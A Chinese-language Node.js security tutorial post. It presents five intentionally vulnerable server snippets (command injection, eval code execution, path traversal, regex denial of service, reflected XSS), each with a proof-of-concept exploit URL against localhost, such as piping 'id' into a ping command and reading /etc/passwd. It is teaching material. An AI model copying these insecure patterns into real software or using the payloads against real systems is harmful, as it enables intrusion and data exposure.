Node.js安全课程

1.命令执行
从代码中看出exe首先声明了一个child_process对象,然后通过parsedUrl传递的ping变量拼接传入exec方法,这样就可以控制程序流程执行想要执行的系统命令。

var http = require("http");
var url = require("url");
var exe = require('child_process');
http.createServer(function(request, response)
{
  var parsedUrl = url.parse(request.url, true);
  response.writeHead(200, {"Content-Type": "text/html"});
  exe.exec('ping -c 2 ' + parsedUrl.query.ping, function (err, data)
  {
  response.write("Hello "+ data);
  response.end();
  });

}).listen(8888);

exploit: http://127.0.0.1:8888/?ping=127.0.0.1|id

image.png

2.代码执行
分析代码这里使用express构建了一个web服务器,传递的name参数被包裹在eval函数里造成了代码执行。

var express = require('express');
var app = express();
app.get('/', function(req, res) {
  var resp=eval("("+req.query.name+")");
  res.send('Response</br>'+resp);
});
app.listen(8000);
通过传入表达式来验证是否存在漏洞。

image.png

可以看出表达式被执行,然后利用nodejs内置模块调用继续获取信息。
image.png

>反弹shell参考: https://www.jianshu.com/p/7e5c9d1cba4a

3.路径穿越
这段代码同样开了一个express服务,参数load被__dirname拼接,__dirname是引用模块的当前路径,然后通过创建读文件流用pipe读取文件内容。

var http = require('http'),
    fileSystem = require('fs'),
    path = require('path');

var express = require('express');
var app = express();
app.get('/', function(req, res) {
   var filePath = path.join(__dirname, '/' + req.query.load);
   var readStream = fileSystem.createReadStream(filePath);
   readStream.pipe(res);
});
app.listen(8888);

exploit: http://127.0.0.1:8888/?load=../../../../../../etc/passwd

image.png

4.ReDoS正则表达式拒绝服务攻击
关于正则表达式的拒绝服务可以参考,原理都是一样的。

https://www.freebuf.com/articles/network/124422.html

var http = require("http");
var url = require("url");
http.createServer(function(request, response)
{
  starttime = process.hrtime();
  var emailExpression = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;
  var parsedUrl = url.parse(request.url, true);
  response.writeHead(200, {"Content-Type": "text/html"});
  response.write("User Input : "+ parsedUrl.query.email);
  response.write("Email Validation : "+ emailExpression.test( parsedUrl.query.email ));
  response.write("</br>Server Response Time: " + process.hrtime(starttime));
  response.end();
}).listen(8888);

只要我们构造的payload满足尽可能多的匹配,当注入足够的字符的时候,正则表达式耗费时间就会越久,从而达到拒绝服务攻击的目的。

exploit:http://127.0.0.1:8888/?email=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx@xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx/

image.png

大概要11秒左右才完成响应。

5.反射型XSS
通过代码可以看到传递的参数name直接回显到响应体中,所以构成反射型XSS。

var http = require("http");
var url = require("url");
http.createServer(function(request, response)
{
  var parsedUrl = url.parse(request.url, true);
  response.writeHead(200, {"Content-Type": "text/html"});
  response.write("Hello "+ parsedUrl.query.name);
  response.end();
}).listen(8888);

exploit: http://127.0.0.1:8888/?name=%3Cscript%3Ealert(1)%3C/script%3E

image.png

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

友情链接更多精彩内容